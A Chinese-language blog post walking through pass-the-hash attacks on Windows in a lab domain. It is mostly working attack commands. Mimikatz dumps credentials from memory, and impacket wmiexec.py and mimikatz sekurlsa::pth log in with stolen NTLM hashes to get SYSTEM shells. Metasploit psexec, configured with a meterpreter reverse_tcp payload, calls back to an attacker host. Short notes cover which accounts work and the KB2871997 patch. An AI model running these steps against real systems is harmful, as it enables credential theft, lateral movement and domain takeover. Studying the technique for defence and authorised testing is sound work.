哈希传递

关于哈希传递

哈希传递攻击是一种技术,攻击者无需解密哈希即可获得纯文本密码。PTH攻击利用身份验证协议,因为密码哈希对于每个会话都保持静态,直到密码被转换为止。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

kerberos中AS-REQ阶段的Authenticator是由用户密码Hash加密的,如果得到了某台主机的Administrator用户的LM-Hash和NTLM-Hash ,并且该主机的445端口打开着。则可以利用哈希传递。

(注意:只能是administrator用户的LM-Hash和NTLM-hash。其他本地管理员都不行

PS:密码Hash中冒号前半段为LM Hash,冒号后半段为NTLM Hash,由于LM Hash算法被弃用,NTLM Hash被用来进行Windows本地及远程身份验证的凭据,长度为32bit、由数字和字母组成。

利用:

域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域机器: WINis10@192.168.228.40 本地管理员:administrator,aspnet

在工作组环境中:

只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

使用wmiexec.py(impacket套件)

先使用mimikatz获取administrator密码hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt

使用administrator的hash进行哈希传递:

python3 wmiexec.py -hashes 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe administrator@192.168.228.40

使用本地管理员aspnet的hash进行哈希传递:(失败)

python3 wmiexec.py -hashes 00000000000000000000000000000000:e9ff43f2599f4986d362b4203996af5d aspnet@192.168.228.40
image

使用mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt

sekurlsa::pth /user:administrator /domain:192.168.228.40 /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e

成功后会自动弹出一个system权限的shell
image

在域环境中:

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

使用wmiexec.py(impacket套件)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt

python3 wmiexec.py -hashes 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e administrator@192.168.228.10
image

使用mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt

sekurlsa::pth /user:administrator /domain:hiro.com /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e

成功后会自动弹出一个system权限的shell
image

使用msf

msf进行pth攻击(工作组)

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp

msf exploit(psexec) > set lhost 192.168.228.110

msf exploit(psexec) > set rhost 192.168.228.40

rhost可以是一个主机,也可以设置一个网段。

msf exploit(psexec) > set smbuser Administrator

msf exploit(psexec) > set smbpass 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe

msf exploit(psexec) > exploit

msf进行哈希传递攻击(域)

当我们获取到了域 管理员组内用户的密码哈希值,并且该主机的445端口打开着,我们则可以利用exploit/windows/smb/psexec用msf进行哈希传递攻击。

msf5 exploit(multi/handler) > use exploit/windows/smb/psexec

msf5 exploit(windows/smb/psexec) > set lhost 192.168.228.110

msf5 exploit(windows/smb/psexec) > set rhost 192.168.228.10

msf5 exploit(windows/smb/psexec) > set smbuser administrator

msf5 exploit(windows/smb/psexec) > set smbpass 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e

msf5 exploit(windows/smb/psexec) > exploit
image

KB2871997补丁的影响

目标主机需要安装KB2871997补丁,且只适用于域环境,而且就算打了这个补丁,administrator(SID=500)这个用户也是可以进行哈希传递的

posted @ 2021-03-22 20:12  cAr7n  阅读(608)  评论(0编辑  收藏  举报